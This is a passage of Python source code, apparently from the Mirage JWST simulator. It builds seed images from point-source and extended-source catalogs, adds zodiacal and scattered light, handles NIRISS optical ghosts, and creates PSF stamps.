extlist_from_gal_ghosts, extstamps_from_gal_ghosts, _ = self.getExtendedSourceList(gal_ghosts_cat, ghost_search=False)\n gal_ghosts_convolve = [self.params['simSignals']['PSFConvolveGhosts']] * len(extlist_from_gal_ghosts)\n else:\n extlist_from_gal_ghosts = None\n extstamps_from_gal_ghosts = None\n gal_ghosts_convolve = None\n\n # Ghosts associated with the extended source catalog\n # Don't search for ghosts from ghosts\n if ext_ghosts_cat is not None:\n self.logger.info('Reading in optical ghost list from sidereal extended source catalog.')\n extlist_from_ext_ghosts, extstamps_from_ext_ghosts, _ = self.getExtendedSourceList(ext_ghosts_cat, ghost_search=False)\n ext_ghosts_convolve = [self.params['simSignals']['PSFConvolveGhosts']] * len(extlist_from_ext_ghosts)\n else:\n extlist_from_ext_ghosts = None\n extstamps_from_ext_ghosts = None\n ext_ghosts_convolve = None\n\n possible_cats = [extended_list, extlist_from_ps_ghosts, extlist_from_gal_ghosts, extlist_from_ext_ghosts]\n extended_cats = [ele for ele in possible_cats if ele is not None]\n extlist = vstack(extended_cats)\n\n possible_stamps = [extended_stamps, extstamps_from_ps_ghosts, extstamps_from_gal_ghosts, extstamps_from_ext_ghosts]\n extended_stamps = [ele for ele in possible_stamps if ele is not None]\n extstamps = [item for ele in extended_stamps for item in ele]\n\n possible_convolutions = [extended_convolve, ps_ghosts_convolve, gal_ghosts_convolve, ext_ghosts_convolve]\n convolutions = [ele for ele in possible_convolutions if ele is not None]\n convols = [item for ele in convolutions for item in ele]\n\n # translate the extended source list into an image\n extimage, ext_segmap = self.make_extended_source_image(extlist, extstamps, convols)\n\n # To avoid problems with overlapping sources between source\n # types in observations to be dispersed, make the point\n # source-only segmentation map available as a class variable\n self.extended_source_seed = extimage\n self.extended_source_seg_map = ext_segmap\n\n # For seed images to be dispersed in WFSS mode,\n # embed the seed image in a full frame array. The disperser\n # tool does not work on subarrays\n aperture_suffix = self.params['Readout']['array_name'].split('_')[-1]\n\n # Save the extended source seed image\n if instrument_name != 'fgs':\n self.extended_seed_filename = '{}_{}_{}_extended_seed_image.fits'.format(self.basename, self.params['Readout']['filter'],\n self.params['Readout']['pupil'])\n else:\n self.extended_seed_filename = '{}_extended_seed_image.fits'.format(self.basename)\n self.saveSeedImage(self.extended_source_seed, self.extended_source_seg_map, self.extended_seed_filename)\n self.logger.info(\"Extended object image and segmap saved as {}\".format(self.extended_seed_filename))\n\n # Add galaxy segmentation map to the master copy\n segmentation_map = self.add_segmentation_maps(segmentation_map, ext_segmap)\n\n # add the extended image to the synthetic signal rate image\n signalimage = signalimage + extimage\n\n else:\n self.extended_source_seed = None\n self.extended_source_seg_map = None\n self.extended_seed_filename = None\n\n # ZODIACAL LIGHT\n if self.runStep['zodiacal'] is True:\n self.logger.warning((\"\\n\\nWARNING: A file has been provided for a zodiacal light contribution \"\n \"but zodi is included in the background addition in imaging/imaging TSO modes \"\n \"if bkgdrate is set to low/medium/high, or for any WFSS/Grism TSO observations.\\n\\n\"))\n # zodiangle = self.eclipticangle() - self.params['Telescope']['rotation']\n zodiangle = self.params['Telescope']['rotation']\n zodiacalimage, zodiacalheader = self.getImage(self.params['simSignals']['zodiacal'], arrayshape, True, zodiangle, arrayshape/2)\n\n # If the zodi image is not the same shape as the transmission\n # image, raise an exception. In the future we can make this more\n # flexible\n if zodiacalimage.shape != self.transmission_image.shape:\n raise IndexError(\"Zodiacal light image must have the same shape as the transmission image: {}\".format(self.transmission_image.shape))\n\n signalimage = signalimage + zodiacalimage*self.params['simSignals']['zodiscale']\n\n # SCATTERED LIGHT - no rotation here.\n if self.runStep['scattered']:\n scatteredimage, scatteredheader = self.getImage(self.params['simSignals']['scattered'],\n arrayshape, False, 0.0, arrayshape/2)\n\n # If the scattered light image is not the same shape as the transmission\n # image, raise an exception. In the future we can make this more\n # flexible\n if scatteredimage.shape != self.transmission_image.shape:\n raise IndexError(\"Scattered light image must have the same shape as the transmission image: {}\".format(self.transmission_image.shape))\n\n signalimage = signalimage + scatteredimage*self.params['simSignals']['scatteredscale']\n\n # CONSTANT BACKGROUND - multiply by transmission image\n signalimage = signalimage + self.params['simSignals']['bkgdrate']\n\n # Save the final rate image of added signals\n if self.params['Output']['save_intermediates'] is True:\n rateImageName = self.basename + '_AddedSources_adu_per_sec.fits'\n self.saveSingleFits(signalimage, rateImageName)\n self.logger.info(\"Signal rate image of all added sources saved as {}\".format(rateImageName))\n\n return signalimage, segmentation_map\n\n @staticmethod\n def add_segmentation_maps(map1, map2):\n \"\"\"Add two segmentation maps together. In the case of overlapping\n objects, the object in map1 is kept and the object in map2 is\n ignored.\n\n Parameters\n ----------\n map1 : numpy.ndarray\n 2D segmentation map\n\n map2 : numpy.ndarray\n 2D segmentation map\n\n Returns\n -------\n combined : numpy.ndarray\n Summed segmentation map\n \"\"\"\n map1_zeros = map1 == 0\n combined = copy.deepcopy(map1)\n combined[map1_zeros] += map2[map1_zeros]\n return combined\n\n def get_point_source_list(self, filename, source_type='pointsources', segment_offset=None):\n \"\"\"Read in the list of point sources to add, calculate positions\n on the detector, filter out sources outside the detector, and\n calculate countrates corresponding to the given magnitudes\n\n Parameters\n ----------\n filename : str\n Name of catalog file to examine\n\n source_type : str\n Flag specifying exactly what type of catalog is being read.\n This is because there are small differences between catalog\n types. Options are ``pointsources`` which is the default,\n ``ts_imaging`` for time series, and ``ts_grism`` for grism\n time series.\n\n Returns\n -------\n pointSourceList : astropy.table.Table\n Table containing source information\n\n ghosts_from_ptsrc : str\n Name of a Mirage-formatted extended source catalog containing\n ghost sources associated with the point sources in ```pointSourceList```\n \"\"\"\n # Make sure that a valid PSF path has been provided\n if not os.path.isdir(self.params['simSignals']['psfpath']):\n raise ValueError('Invalid PSF path provided in YAML:',\n self.params['simSignals']['psfpath'])\n\n pointSourceList = Table(names=('index', 'pixelx', 'pixely', 'RA', 'Dec', 'RA_degrees',\n 'Dec_degrees', 'magnitude', 'countrate_e/s',\n 'counts_per_frame_e', 'lightcurve_file'),\n dtype=('i', 'f', 'f', 'S14', 'S14', 'f', 'f', 'f', 'f', 'f', 'S50'))\n\n try:\n lines, pixelflag, magsys = self.read_point_source_file(filename)\n if pixelflag:\n self.logger.info(\"Point source list input positions assumed to be in units of pixels.\")\n else:\n self.logger.info(\"Point list input positions assumed to be in units of RA and Dec.\")\n except:\n raise NameError(\"WARNING: Unable to open the point source list file {}\".format(filename))\n\n # Create table of point source countrate versus psf size\n if self.add_psf_wings is True:\n self.translate_psf_table(magsys)\n\n # File to save adjusted point source locations\n psfile = self.params['Output']['file'][0:-5] + '_{}.list'.format(source_type)\n pslist = open(psfile, 'w')\n\n # Get source index numbers\n indexes = lines['index']\n\n dtor = math.radians(1.)\n nx = (self.subarray_bounds[2] - self.subarray_bounds[0]) + 1\n ny = (self.subarray_bounds[3] - self.subarray_bounds[1]) + 1\n xc = (self.subarray_bounds[2] + self.subarray_bounds[0]) / 2.\n yc = (self.subarray_bounds[3] + self.subarray_bounds[1]) / 2.\n\n # Define the min and max source locations (in pixels) that fall onto the subarray\n # Include the effects of a requested grism_direct image, and also keep sources that\n # will only partially fall on the subarray\n # pixel coords here can still be negative and kept if the grism image is being made\n\n # First, coord limits for just the subarray\n miny = 0\n maxy = self.subarray_bounds[3] - self.subarray_bounds[1]\n minx = 0\n maxx = self.subarray_bounds[2] - self.subarray_bounds[0]\n\n # Expand the limits if a grism direct image is being made\n if (self.params['Output']['grism_source_image'] == True) or (self.params['Inst']['mode'] in [\"pom\", \"wfss\"]):\n transmission_ydim, transmission_xdim = self.transmission_image.shape\n miny = miny - self.subarray_bounds[1] - self.trans_ff_ymin\n minx = minx - self.subarray_bounds[0] - self.trans_ff_xmin\n maxx = minx + transmission_xdim\n maxy = miny + transmission_ydim\n nx = transmission_xdim\n ny = transmission_ydim\n\n # Write out the RA and Dec of the field center to the output file\n # Also write out column headers to prepare for source list\n pslist.write((\"# Field center (degrees): %13.8f %14.8f y axis rotation angle \"\n \"(degrees): %f image size: %4.4d %4.4d\\n\" %\n (self.ra, self.dec, self.params['Telescope']['rotation'], nx, ny)))\n pslist.write('#\\n')\n pslist.write((\"# Index RA_(hh:mm:ss) DEC_(dd:mm:ss) RA_degrees \"\n \"DEC_degrees pixel_x pixel_y magnitude counts/sec counts/frame TSO_lightcurve_catalog\\n\"))\n\n # If creating a segment-wise simulation, shift all of the RAs/Decs in\n # the list by the given offset\n if segment_offset is not None:\n lines = self.shift_sources_by_offset(lines, segment_offset, pixelflag)\n\n # Check the source list and remove any sources that are well outside the\n # field of view of the detector. These sources cause the coordinate\n # conversion to hang.\n self.logger.info('Filtering point sources to keep only those on the detector')\n indexes, lines = self.remove_outside_fov_sources(indexes, lines, pixelflag, 4096)\n\n # Determine the name of the column to use for source magnitudes\n mag_column = self.select_magnitude_column(lines, filename)\n\n # For NIRISS observations where ghosts will be added, create a table to hold\n # the ghost entries\n if self.params['Inst']['instrument'].lower() == 'niriss' and self.params['simSignals']['add_ghosts']:\n self.logger.info(\"Creating a source list of optical ghosts from point sources.\")\n ghost_source_index = [] # Maps index number of original source to ghost source\n ghost_x = []\n ghost_y = []\n ghost_filename = []\n ghost_mag = []\n ghost_mags = None\n else:\n ghost_x = None\n\n skipped_non_niriss = False\n ghost_i = 0\n for index, values in zip(indexes, lines):\n # If the filter/pupil pair are not in the ghost summary file, log that only\n # for the first source, so that it's not repeated for all sources.\n if ghost_i == 0:\n log_ghost_err = True\n else:\n log_ghost_err = False\n\n pixelx, pixely, ra, dec, ra_str, dec_str = self.get_positions(values['x_or_RA'],\n values['y_or_Dec'],\n pixelflag, 4096)\n\n # Get the input magnitude and countrate of the point source\n mag = float(values[mag_column])\n countrate = utils.magnitude_to_countrate(self.instrument, self.params['Readout']['filter'],\n magsys, mag, photfnu=self.photfnu, photflam=self.photflam,\n vegamag_zeropoint=self.vegazeropoint)\n\n # If this is a NIRISS simulation and the user wants to add ghosts,\n # do that here.\n if self.params['Inst']['instrument'].lower() == 'niriss' and self.params['simSignals']['add_ghosts']:\n gx, gy, gmag, gcounts, gfile = self.locate_ghost(pixelx, pixely, countrate, magsys, values, 'point_source',\n log_skipped_filters=log_ghost_err)\n if np.isfinite(gx) and gfile is not None:\n ghost_source_index.append(index)\n ghost_x.append(gx)\n ghost_y.append(gy)\n ghost_mag.append(gmag)\n ghost_filename.append(gfile)\n\n ghost_src, skipped_non_niriss = source_mags_to_ghost_mags(values, self.params['Reffiles']['flux_cal'],\n magsys, NIRISS_GHOST_GAP_FILE, self.params['Readout']['filter'], log_skipped_filters=False)\n\n if ghost_mags is None:\n ghost_mags = copy.deepcopy(ghost_src)\n else:\n ghost_mags = vstack([ghost_mags, ghost_src])\n\n # Increment the counter to control the logging regardless of whether the source\n # is on the detector or not.\n ghost_i += 1\n\n psf_len = self.find_psf_size(countrate)\n edgex = np.int(psf_len // 2)\n edgey = np.int(psf_len // 2)\n\n if pixely > (miny-edgey) and pixely < (maxy+edgey) and pixelx > (minx-edgex) and pixelx < (maxx+edgex):\n # set up an entry for the output table\n entry = [index, pixelx, pixely, ra_str, dec_str, ra, dec, mag]\n\n # Calculate the countrate for the source\n framecounts = countrate * self.frametime\n\n # add the countrate and the counts per frame to pointSourceList\n # since they will be used in future calculations\n entry.append(countrate)\n entry.append(framecounts)\n\n # Add the TSO catalog name if present\n if source_type == 'ts_imaging':\n tso_catalog = values['lightcurve_file']\n else:\n tso_catalog = 'None'\n entry.append(tso_catalog)\n\n # add the good point source, including location and counts, to the pointSourceList\n pointSourceList.add_row(entry)\n\n # write out positions, distances, and counts to the output file\n pslist.write(\"%i %s %s %14.8f %14.8f %9.3f %9.3f %9.3f %13.6e %13.6e %s\\n\" %\n (index, ra_str, dec_str, ra, dec, pixelx, pixely, mag, countrate, framecounts, tso_catalog))\n\n if self.params['Inst']['instrument'].lower() == 'niriss' and self.params['simSignals']['add_ghosts'] and skipped_non_niriss:\n self.logger.info(\"Skipped the calculation of ghost source magnitudes for the non-NIRISS magnitude columns in {}\".format(filename))\n\n self.n_pointsources = len(pointSourceList)\n if self.n_pointsources > 0:\n self.logger.info(\"Number of point sources found within or close to the requested aperture: {}\".format(self.n_pointsources))\n else:\n self.logger.info(\"\\nNo point sources present on the detector.\")\n\n # close the output file\n pslist.close()\n\n # If any ghost sources were found, create an extended catalog object to hold them\n if self.params['Inst']['instrument'].lower() == 'niriss' and self.params['simSignals']['add_ghosts']:\n ghosts_from_ptsrc = self.save_ghost_catalog(ghost_x, ghost_y, ghost_filename, ghost_mags, filename, ghost_source_index)\n else:\n ghosts_from_ptsrc = None\n\n return pointSourceList, ghosts_from_ptsrc\n\n def translate_psf_table(self, magnitude_system):\n \"\"\"Given a magnitude system, translate the table of PSF sizes\n versus magnitudes into PSF sizes versus countrates\n\n Parameters\n ----------\n magnitude_system : str\n Magnitude system of the sources: 'abmag', 'stmag', 'vegamag'\n \"\"\"\n magnitudes = self.psf_wing_sizes[magnitude_system].data\n\n # Place table in order of ascending magnitudes\n sort = np.argsort(magnitudes)\n for colname in self.psf_wing_sizes.colnames:\n self.psf_wing_sizes[colname] = self.psf_wing_sizes[colname][sort]\n magnitudes = self.psf_wing_sizes[magnitude_system].data\n\n # Calculate corresponding countrates\n countrates = utils.magnitude_to_countrate(self.instrument, self.params['Readout']['filter'],\n magnitude_system, magnitudes, photfnu=self.photfnu,\n photflam=self.photflam,\n vegamag_zeropoint=self.vegazeropoint)\n self.psf_wing_sizes['countrate'] = countrates\n\n def find_psf_size(self, countrate):\n \"\"\"Determine the dimentions of the PSF to use based on an object's\n countrate.\n\n Parameters\n ----------\n countrate : float\n Source countrate\n\n Returns\n -------\n xdim : int\n Size of PSF in pixels in the x direction\n\n ydim : int\n Size of PSF in pixels in the y direction\n \"\"\"\n if self.add_psf_wings is False:\n return self.psf_library_core_x_dim\n\n brighter = np.where(countrate >= self.psf_wing_sizes['countrate'])[0]\n if len(brighter) == 0:\n # Dimmest bin == size of pf library\n dimension = self.psf_library_core_x_dim\n #dim = np.max(self.psf_wing_sizes['number_of_pixels'])\n else:\n dimension = self.psf_wing_sizes['number_of_pixels'][brighter[0]]\n return dimension\n\n def shift_sources_by_offset(self, lines, segment_offset, pixelflag):\n self.logger.info(' Shifting point source locations by arcsecond offset {}'.format(segment_offset))\n\n shifted_lines = lines.copy()\n shifted_lines.remove_rows(np.arange(0, len(shifted_lines)))\n\n V2ref_arcsec = self.siaf.V2Ref\n V3ref_arcsec = self.siaf.V3Ref\n position_angle = self.params['Telescope']['rotation']\n self.logger.info(' Position angle = {}'.format(position_angle))\n attitude_ref = pysiaf.utils.rotations.attitude(V2ref_arcsec, V3ref_arcsec, self.ra, self.dec, position_angle)\n\n # Shift every source by the appropriate offset\n x_displacement_arcsec, y_displacement_arcsec = segment_offset\n for line in lines:\n x_or_RA, y_or_Dec = line['x_or_RA', 'y_or_Dec']\n # Convert the input source locations to V2/V3\n if not pixelflag:\n # Convert RA/Dec (sky frame) to V2/V3 (telescope frame)\n v2, v3 = pysiaf.utils.rotations.getv2v3(attitude_ref, x_or_RA, y_or_Dec)\n else:\n # Convert X/Y (detector frame) to V2/V3 (telescope frame)\n v2, v3 = self.siaf.det_to_tel(x_or_RA, y_or_Dec)\n\n # Add the arcsecond displacement to each V2/V3 source position\n v2 -= x_displacement_arcsec\n v3 += y_displacement_arcsec\n\n # Translate back to RA/Dec and save\n ra, dec = pysiaf.utils.rotations.pointing(attitude_ref, v2, v3)\n\n mag_cols = [col for col in line.colnames if 'magnitude' in col]\n collist = [line['index']]\n collist.extend([ra, dec])\n collist.extend(line[mag_cols])\n shifted_lines.add_row(collist)\n\n return shifted_lines\n\n def remove_outside_fov_sources(self, index, source, pixflag, delta_pixels):\n \"\"\"Filter out entries in the source catalog that are located well outside the field of\n view of the detector. This can be a fairly rough cut. We just need to remove sources\n that are very far from the detector.\n\n Parameters:\n -----------\n index : list\n List of index numbers corresponding to the sources\n\n source : Table\n astropy Table containing catalog information\n\n pixflag : bool\n Flag indicating whether catalog positions are given in units of\n pixels (True), or RA, Dec (False)\n\n delta_pixels : int\n Number of columns/rows outside of the nominal detector size (2048x2048)\n to keep sources in the source list. (e.g. delta_pixels=2048 will keep all\n sources located at -2048 to 4096.)\n\n Returns:\n --------\n index : list\n List of filtered index numbers corresponding to sources\n within or close to the field of view\n\n source : Table\n astropy Table containing filtered list of sources\n \"\"\"\n catalog_x = source['x_or_RA']\n catalog_y = source['y_or_Dec']\n\n if pixflag:\n minx = 0 - delta_pixels\n maxx = self.output_dims[1] + delta_pixels\n miny = 0 - delta_pixels\n maxy = self.output_dims[0] + delta_pixels\n good = ((catalog_x > minx) & (catalog_x < maxx) & (catalog_y > miny) & (catalog_y < maxy))\n else:\n delta_degrees = (delta_pixels * self.siaf.XSciScale) / 3600. * u.deg\n reference = SkyCoord(ra=self.ra * u.deg, dec=self.dec * u.deg)\n\n # Need to determine the units of the RA values.\n # Dec units should always be degrees whether or not they are in decimal\n # or DD:MM:SS or DDd:MMm:SSs formats.\n dec_unit = u.deg\n try:\n # if it can be converted to a float, assume decimal degrees\n entry0 = float(catalog_x[0])\n ra_unit = u.deg\n except ValueError:\n # if it cannot be converted to a float, then the unit is 'hour'\n ra_unit = 'hour'\n\n # Temporarily replace any input positions that are None or N/A\n # with dummy values. This will allow users to supply an ephemeris\n # file and not have to add in RA, Dec numbers, which could be\n # confusing and which are ignored by Mirage anyway.\n allowed_dummy_values = ['none', 'n/a']\n for i, row in enumerate(source):\n #if isinstance(row['x_or_RA'], str) and isinstance(row['y_or_Dec'], str):\n if row['x_or_RA'] == np.nan or row['y_or_Dec'] == np.nan:\n if 'ephemeris_file' in row.colnames:\n if row['ephemeris_file'].lower != 'none':\n catalog_x[i] = 0.\n catalog_y[i] = 0.\n else:\n raise ValueError('Source catalog contains x, y or RA, Dec positions that are not numbers.')\n else:\n raise ValueError('Source catalog contains x, y or RA, Dec positions that are not numbers.')\n\n # Assume that units are consisent within each column. (i.e. no mixing of\n # 12h:23m:34.5s and 189.87463 degrees within a column)\n catalog = SkyCoord(ra=catalog_x, dec=catalog_y, unit=(ra_unit, dec_unit))\n good = np.where(reference.separation(catalog) < delta_degrees)[0]\n\n # If an ephemeris column is present, mark any rows that contain\n # an ephemeris file as good. Regardless of the RA, Dec values in\n # the catalog at this point, the true RA, Dec values will be calculated\n # from the ephemeris\n if 'ephemeris_file' in source.colnames:\n good_eph = np.array([i for i, row in enumerate(source) if row['ephemeris_file'].lower() != 'none'])\n good = np.array(list(set(np.append(good, good_eph))))\n good = [int(ele) for ele in good]\n\n filtered_sources = source[good]\n filtered_indexes = index[good]\n\n return filtered_indexes, filtered_sources\n\n def make_point_source_image(self, pointSources, segment_number=None, ptsrc_segmap=None):\n \"\"\"Create a seed image containing all of the point sources\n provided by the source catalog\n\n Parameters\n ----------\n pointSources : astropy.table.Table\n Table of point sources\n segment_number : int, optional\n The number of the mirror segment to make an image for\n ptsrc_segmap : optional\n The point source segmentation map to keep adding to\n\n Returns\n -------\n psfimage : numpy.ndarray\n 2D array containing the seed image with point sources\n\n seg.segmap : numpy.ndarray\n 2D array containing the segmentation map that\n corresponds to ``psfimage``\n \"\"\"\n dims = np.array(self.nominal_dims)\n\n # Create the empty image\n psfimage = np.zeros(self.output_dims)\n\n # Create empty seed cube for possible WFSS dispersion\n seed_cube = {}\n\n if ptsrc_segmap is None:\n # Create empty segmentation map\n ptsrc_segmap = segmap.SegMap()\n ptsrc_segmap.ydim, ptsrc_segmap.xdim = self.output_dims\n ptsrc_segmap.initialize_map()\n\n # Loop over the entries in the point source list\n for i, entry in enumerate(pointSources):\n # Start timer\n self.timer.start()\n\n # Find the PSF size to use based on the countrate\n psf_x_dim = self.find_psf_size(entry['countrate_e/s'])\n\n # Assume same PSF size in x and y\n psf_y_dim = psf_x_dim\n\n scaled_psf, min_x, min_y, wings_added = self.create_psf_stamp(\n entry['pixelx'], entry['pixely'], psf_x_dim, psf_y_dim,\n segment_number=segment_number, ignore_detector=True\n )\n\n # Skip sources that fall completely off the detector\n if scaled_psf is None:\n self.timer.stop()\n continue\n\n scaled_psf *= entry['countrate_e/s']\n\n # PSF may not be centered in array now if part of the array falls\n # off of the aperture\n stamp_x_loc = psf_x_dim // 2 - min_x\n stamp_y_loc = psf_y_dim // 2 - min_y\n updated_psf_dimensions = scaled_psf.shape\n\n # If the source subpixel location is beyond 0.5 (i.e. the edge\n # of the pixel), then we shift the wing->core offset by 1.\n # We also need to shift the location of the wing array on the\n # detector by 1\n if wings_added:\n x_delta = int(np.modf(entry['pixelx'])[0] > 0.5)\n y_delta = int(np.modf(entry['pixely'])[0] > 0.5)\n else:\n x_delta = 0\n y_delta = 0\n\n # Get the coordinates that describe the overlap between the\n # PSF image and the output aperture\n xap, yap, xpts, ypts, (i1, i2), (j1, j2), (k1, k2), \\\n (l1, l2) = self.create_psf_stamp_coords(entry['pixelx']+x_delta, entry['pixely']+y_delta,\n updated_psf_dimensions,\n stamp_x_loc, stamp_y_loc,\n coord_sys='aperture')\n\n # Skip sources that fall completely off the detector\n if None in [i1, i2, j1, j2, k1, k2, l1, l2]:\n self.timer.stop()\n continue\n\n self.logger.info(\"******************************* %s\" % (self.basename))\n\n try:\n psf_to_add = scaled_psf[l1:l2, k1:k2]\n psfimage[j1:j2, i1:i2] += psf_to_add\n\n # Add source to segmentation map\n ptsrc_segmap.add_object_threshold(psf_to_add, j1, i1, entry['index'], self.segmentation_threshold)\n\n if self.params['Inst']['mode'] in DISPERSED_MODES:\n # Add source to seed cube file\n stamp = np.zeros(psf_to_add.shape)\n flag = psf_to_add >= self.segmentation_threshold\n stamp[flag] = entry['index']\n seed_cube[entry['index']] = [i1, j1, psf_to_add*1, stamp*1]\n except IndexError:\n # In here we catch sources that are off the edge\n # of the detector. These may not necessarily be caught in\n # getpointsourcelist because if the PSF is not centered\n # in the webbpsf stamp, then the area to be pulled from\n # the stamp may shift off of the detector.\n pass\n\n # Stop timer\n self.timer.stop(name='ptsrc_{}'.format(str(i).zfill(6)))\n\n # If there are more than 100 point sources, provide an estimate of processing time\n if len(pointSources) > 100:\n if ((i == 20) or ((i > 0) and (np.mod(i, 100) == 0))):\n time_per_ptsrc = self.timer.sum(key_str='ptsrc_') / (i+1)\n estimated_remaining_time = time_per_ptsrc * (len(pointSources) - (i+1)) * u.second\n time_remaining = np.around(estimated_remaining_time.to(u.minute).value, decimals=2)\n finish_time = datetime.datetime.now() + datetime.timedelta(minutes=time_remaining)\n self.logger.info(('Working on source #{}. Estimated time remaining to add all point sources to the stamp image: {} minutes. '\n 'Projected finish time: {}'.format(i, time_remaining, finish_time)))\n\n if self.params['Inst']['mode'] in DISPERSED_MODES:\n # Save the seed cube file of point sources\n pickle.dump(seed_cube, open(\"%s_star_seed_cube.pickle\" % (self.basename), \"wb\"), protocol=pickle.HIGHEST_PROTOCOL)\n\n return psfimage, ptsrc_segmap\n\n def create_psf_stamp(self, x_location, y_location, psf_dim_x, psf_dim_y,\n ignore_detector=False, segment_number=None):\n \"\"\"From the gridded PSF model, location within the aperture, and\n dimensions of the stamp image (either the library PSF image, or\n the galaxy/extended stamp image with which the PSF will be\n convolved), evaluate the GriddedPSFModel at\n the appropriate location on the detector and return the PSF stamp\n\n Parameters\n ----------\n x_location : float\n X-coordinate of the PSF in the coordinate system of the\n aperture being simulated.\n\n y_location : float\n Y-coordinate of the PSF in the coordinate system of the\n aperture being simulated.\n\n psf_dim_x : int\n Number of columns of the array containing the PSF\n\n psf_dim_y : int\n Number of rows of the array containing the PSF\n\n ignore_detector : bool\n If True, the returned coordinates can have values outside the\n size of the subarray/detector (i.e. coords can be negative or\n larger than full frame). If False, coordinates are constrained\n to be on the detector.\n\n Returns\n -------\n full_psf : numpy.ndarray\n 2D array containing the normalized PSF image. Total signal should\n be close to 1.0 (not exactly 1.0 due to asymmetries and distortion)\n Array will be cropped based on how much falls on or off the detector\n\n k1 : int\n Row number on the PSF/stamp image corresponding to the bottom-most\n row that overlaps the detector/aperture\n\n l1 : int\n Column number on the PSF/stamp image corresponding to the left-most\n column that overlaps the detector/aperture\n\n add_wings : bool\n Whether or not PSF wings are to be added to the PSF core\n \"\"\"\n # PSF will always be centered\n psf_x_loc = psf_dim_x // 2\n psf_y_loc = psf_dim_y // 2\n\n # Translation needed to go from PSF core (self.psf_library)\n # coordinate system to the PSF wing coordinate system (i.e.\n # center the PSF core in the wing image)\n psf_wing_half_width_x = np.int(psf_dim_x // 2)\n psf_wing_half_width_y = np.int(psf_dim_y // 2)\n psf_core_half_width_x = np.int(self.psf_library_core_x_dim // 2)\n psf_core_half_width_y = np.int(self.psf_library_core_y_dim // 2)\n delta_core_to_wing_x = psf_wing_half_width_x - psf_core_half_width_x\n delta_core_to_wing_y = psf_wing_half_width_y - psf_core_half_width_y\n\n # This assumes a square PSF shape!!!!\n # If no wings are to be added, then we can skip all the wing-\n # and pixel phase-related work below.\n if ((self.add_psf_wings is False) or (delta_core_to_wing_x <= 0)):\n add_wings = False\n\n if segment_number is not None:\n library = self.psf_library[segment_number - 1]\n else:\n library = self.psf_library\n\n # Get coordinates decribing overlap between the evaluated psf\n # core and the full frame of the detector. We really only need\n # the xpts_core and ypts_core from this in order to know how\n # to evaluate the library\n # Note that we don't care about the pixel phase here.\n psf_core_dims = (self.psf_library_core_y_dim, self.psf_library_core_x_dim)\n xc_core, yc_core, xpts_core, ypts_core, (i1c, i2c), (j1c, j2c), (k1c, k2c), \\\n (l1c, l2c) = self.create_psf_stamp_coords(x_location, y_location, psf_core_dims,\n psf_core_half_width_x, psf_core_half_width_y,\n coord_sys='full_frame',\n ignore_detector=ignore_detector)\n\n # Skip sources that fall completely off the detector\n if None in [i1c, i2c, j1c, j2c, k1c, k2c, l1c, l2c]:\n return None, None, None, False\n\n # Step 4\n full_psf = library.evaluate(x=xpts_core, y=ypts_core, flux=1.0,\n x_0=xc_core, y_0=yc_core)\n k1 = k1c\n l1 = l1c\n\n else:\n add_wings = True\n # If the source subpixel location is beyond 0.5 (i.e. the edge\n # of the pixel), then we shift the wing->core offset by 1.\n # We also need to shift the location of the wing array on the\n # detector by 1\n x_phase = np.modf(x_location)[0]\n y_phase = np.modf(y_location)[0]\n x_location_delta = int(x_phase > 0.5)\n y_location_delta = int(y_phase > 0.5)\n if x_phase > 0.5:\n delta_core_to_wing_x -= 1\n if y_phase > 0.5:\n delta_core_to_wing_y -= 1\n\n # offset_x, and y below will not change because that is\n # the offset between the full wing array and the user-specified\n # wing array size\n\n # Get the psf wings array - first the nominal size\n # Later we may crop if the source is only partially on the detector\n full_wing_y_dim, full_wing_x_dim = self.psf_wings.shape\n offset_x = np.int((full_wing_x_dim - psf_dim_x) / 2)\n offset_y = np.int((full_wing_y_dim - psf_dim_y) / 2)\n\n full_psf = copy.deepcopy(self.psf_wings[offset_y:offset_y+psf_dim_y, offset_x:offset_x+psf_dim_x])\n\n # Get coordinates describing overlap between PSF image and the\n # full frame of the detector\n # Step 1\n xcenter, ycenter, xpts, ypts, (i1, i2), (j1, j2), (k1, k2), \\\n (l1, l2) = self.create_psf_stamp_coords(x_location+x_location_delta, y_location+y_location_delta,\n (psf_dim_y, psf_dim_x), psf_x_loc, psf_y_loc,\n coord_sys='full_frame', ignore_detector=ignore_detector)\n\n if None in [i1, i2, j1, j2, k1, k2, l1, l2]:\n return None, None, None, False\n\n # Step 2\n # If the core of the psf lands at least partially on the detector\n # then we need to evaluate the psf library\n if ((k1 < (psf_wing_half_width_x + psf_core_half_width_x)) and\n (k2 > (psf_wing_half_width_x - psf_core_half_width_x)) and\n (l1 < (psf_wing_half_width_y + psf_core_half_width_y)) and\n (l2 > (psf_wing_half_width_y - psf_core_half_width_y))):\n\n # Step 3\n # Get coordinates decribing overlap between the evaluated psf\n # core and the full frame of the detector. We really only need\n # the xpts_core and ypts_core from this in order to know how\n # to evaluate the library\n # Note that we don't care about the pixel phase here.\n psf_core_dims = (self.psf_library_core_y_dim, self.psf_library_core_x_dim)\n xc_core, yc_core, xpts_core, ypts_core, (i1c, i2c), (j1c, j2c), (k1c, k2c), \\\n (l1c, l2c) = self.create_psf_stamp_coords(x_location, y_location, psf_core_dims,\n psf_core_half_width_x, psf_core_half_width_y,\n coord_sys='full_frame', ignore_detector=ignore_detector)\n\n if None in [i1c, i2c, j1c, j2c, k1c, k2c, l1c, l2c]:\n return None, None, None, False\n\n # Step 4\n psf = self.psf_library.evaluate(x=xpts_core, y=ypts_core, flux=1.,\n x_0=xc_core, y_0=yc_core)\n\n # Step 5\n wing_start_x = k1c + delta_core_to_wing_x\n wing_end_x = k2c + delta_core_to_wing_x\n wing_start_y = l1c + delta_core_to_wing_y\n wing_end_y = l2c + delta_core_to_wing_y\n\n full_psf[wing_start_y:wing_end_y, wing_start_x:wing_end_x] = psf\n\n # Whether or not the core is on the detector, crop the PSF\n # to the proper shape based on how much is on the detector\n full_psf = full_psf[l1:l2, k1:k2]\n\n return full_psf, k1, l1, add_wings\n\n def create_psf_stamp_coords(self, aperture_x, aperture_y, stamp_dims, stamp_x, stamp_y,\n coord_sys='full_frame', ignore_detector=False):\n \"\"\"Calculate the coordinates in the aperture coordinate system\n where the stamp image wil be placed based on the location of the\n stamp image in the aperture and the size of the stamp image.\n\n Parameters\n ----------\n aperture_x : float\n X-coordinate of the PSF in the coordinate system of the\n aperture being simulated.\n\n aperture_y : float\n Y-coordinate of the PSF in the coordinate system of the\n aperture being simulated.\n\n stamp_dims : tup\n (x, y) dimensions of the stamp image that will be placed\n into the final seed image. This stamp image can be either the\n PSF image itself, or the stamp image of the galaxy/extended\n source that the PSF is going to be convolved with.\n\n stamp_x : float\n Location in x of source within the stamp image\n\n stamp_y : float\n Location in y of source within the stamp 